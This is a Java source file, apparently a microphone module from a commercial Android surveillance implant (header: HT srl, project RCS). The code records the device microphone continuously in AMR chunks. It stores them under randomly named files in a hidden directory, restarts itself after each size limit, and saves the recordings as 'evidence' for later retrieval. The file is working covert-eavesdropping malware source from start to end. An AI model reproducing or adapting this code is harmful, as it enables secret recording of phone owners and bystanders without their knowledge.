/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : MicAgent.java
* Created : Apr 18, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.module;
import android.media.MediaRecorder;
import com.android.dvci.auto.Cfg;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Path;
import com.android.dvci.util.Check;
import com.android.dvci.util.DateTime;
import com.android.dvci.util.Utils;
import java.io.FileInputStream;
import java.io.IOException;
/**
* The Class MicAgent. 8000KHz, 16bit
*
* @author zeno
* @ref: http://developer.android.com/reference/android/media/MediaRecorder.html
*/
public class ModuleMicL extends ModuleMic {
private static final String TAG = "ModuleMicL"; //$NON-NLS-1$
private static final long MAX_FILE_SIZE = 1024 * 50;//50KB
private AutoFile out_file;
public ModuleMicL() {
super();
}
void specificStop() {
stopRecorder();
recorder = null;
}
void specificGo(int numFailures) {
if (numFailures > 10) {
stopRecorder();
recorder = null;
if (Cfg.DEBUG) {
Check.log(TAG + "numFailures: " + numFailures);//$NON-NLS-1$
}
}
}
byte[] unfinished = null;
protected byte[] getAvailable() {
byte[] ret = null;
if (out_file != null && out_file.exists() && out_file.getSize() != 0) {
FileInputStream fin = null;
try {
// create FileInputStream object
fin = new FileInputStream(out_file.getFile());
ret = new byte[(int) out_file.getSize()];
// Reads up to certain bytes of data from this input stream into an array of bytes.
fin.read(ret);
} catch (IOException ioe) {
if (Cfg.DEBUG) {
Check.log(TAG + "(getAvailable) Exception while reading file " + ioe);
}
} finally {
// close the streams using close method
try {
if (fin != null) {
fin.close();
}
} catch (IOException ioe) {
if (Cfg.DEBUG) {
Check.log(TAG + "(getAvailable) Error while closing stream: " + ioe);
}
}
}
}
Check.log(TAG + "(getAvailable) returning " + ret.length);
return ret;
}
/**
* Start recorder.
*
* @throws IllegalStateException the illegal state exception
* @throws java.io.IOException Signals that an I/O exception has occurred.
*/
synchronized void specificStart() throws IllegalStateException {
if (Cfg.DEBUG) {
Check.log(TAG + " (specificStart)");//$NON-NLS-1$
}
numFailures = 0;
unfinished = null;
if (recorder == null) {
final DateTime dateTime = new DateTime();
fId = dateTime.getFiledate();
if (Cfg.DEBUG) {
Check.log(TAG + " (specificStart) new recorder ");//$NON-NLS-1$
}
recorder = new MediaRecorder();
recorder.reset();
}
if(recorder == null){
if (Cfg.DEBUG) {
Check.log(TAG + " (specificStart) error requesting recorder ");//$NON-NLS-1$
}
}
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.RAW_AMR);
recorder.setOnErrorListener(this);
recorder.setOnInfoListener(this);
recorder.setMaxFileSize(MAX_FILE_SIZE);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
createSockets();
if (out_file != null) {
recorder.setOutputFile(out_file.getFilename());
} else {
recorder.reset(); // You can reuse the object by going back to setAudioSource() step
recorder.release();// Now the object cannot be reused
recorder = null;
}
try {
recorder.prepare();
recorder.start(); // Recording is now started
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (specificStart) another apps may be blocking recording: " + e);//$NON-NLS-1$
}
if (recorder != null) {
recorder.reset(); // You can reuse the object by going back to setAudioSource() step
recorder.release();// Now the object cannot be reused
recorder = null;
}
if (out_file != null) {
deleteSockets();
}
}
}
private void createSockets() {
if (out_file == null) {
out_file = new AutoFile(Path.hidden(), Utils.getRandom() + ".a");
if (Cfg.DEBUG) {
Check.log(TAG + " (createSocket) new file: " + out_file.getFile());//$NON-NLS-1$
}
}
}
private void deleteSockets() {
if (out_file != null && out_file.exists()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (deleteSockets) delete file: " + out_file.getFile());//$NON-NLS-1$
}
out_file.delete();
}
out_file = null;
}
// http://sipdroid.googlecode.com/svn/trunk/src/org/sipdroid/sipua/ui/VideoCamera.java
/**
* Stop recorder.
*/
synchronized void stopRecorder() {
if (Cfg.DEBUG) {
Check.log(TAG + " (stopRecorder)");//$NON-NLS-1$
}
if (recorder != null) {
recorder.setOnErrorListener(null);
recorder.setOnInfoListener(null);
try {
recorder.stop();
recorder.reset(); // You can reuse the object by going back to setAudioSource() step
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence) resetting recorder");
recorder = null;
}
}
if (out_file == null || !out_file.exists()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveRecorderEvidence) Error: out_file not available");
}
numFailures += 1;
} else {
saveRecorderEvidence();
}
}
}
@Override
void specificSuspend() {
if (Cfg.DEBUG) {
Check.log(TAG + " (specificSuspend): releasing recorder");
}
stopRecorder();
deleteSockets();
recorder.release();
recorder=null;
}
@Override
void specificResume() {
}
public void onInfo(MediaRecorder mr, int what, int extra) {
if (Cfg.DEBUG) {
Check.log(TAG + " (onInfo): " + what);//$NON-NLS-1$
}
/*
After recording reaches the specified filesize, a notification will be sent to the MediaRecorder.OnInfoListener with a "what"
code of MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED
and recording will be stopped.
Stopping happens asynchronously, there is no guarantee that the recorder will
have stopped by the time the listener is notified.
*/
if (what == MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
if (Cfg.DEBUG) {
Check.log(TAG + " (onInfo): max Size reached, saving file");//$NON-NLS-1$
}
stopRecorder();
deleteSockets();
try {
specificStart();
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (onInfo): exception restarting Mic");//$NON-NLS-1$
}
}
}
}
public void onError(MediaRecorder mr, int what, int extra) {
if (Cfg.DEBUG) {
Check.log(TAG + " (onError) Error: " + what);//$NON-NLS-1$
}
suspend();
}
@Override
public String getTag() {
return TAG;
}
}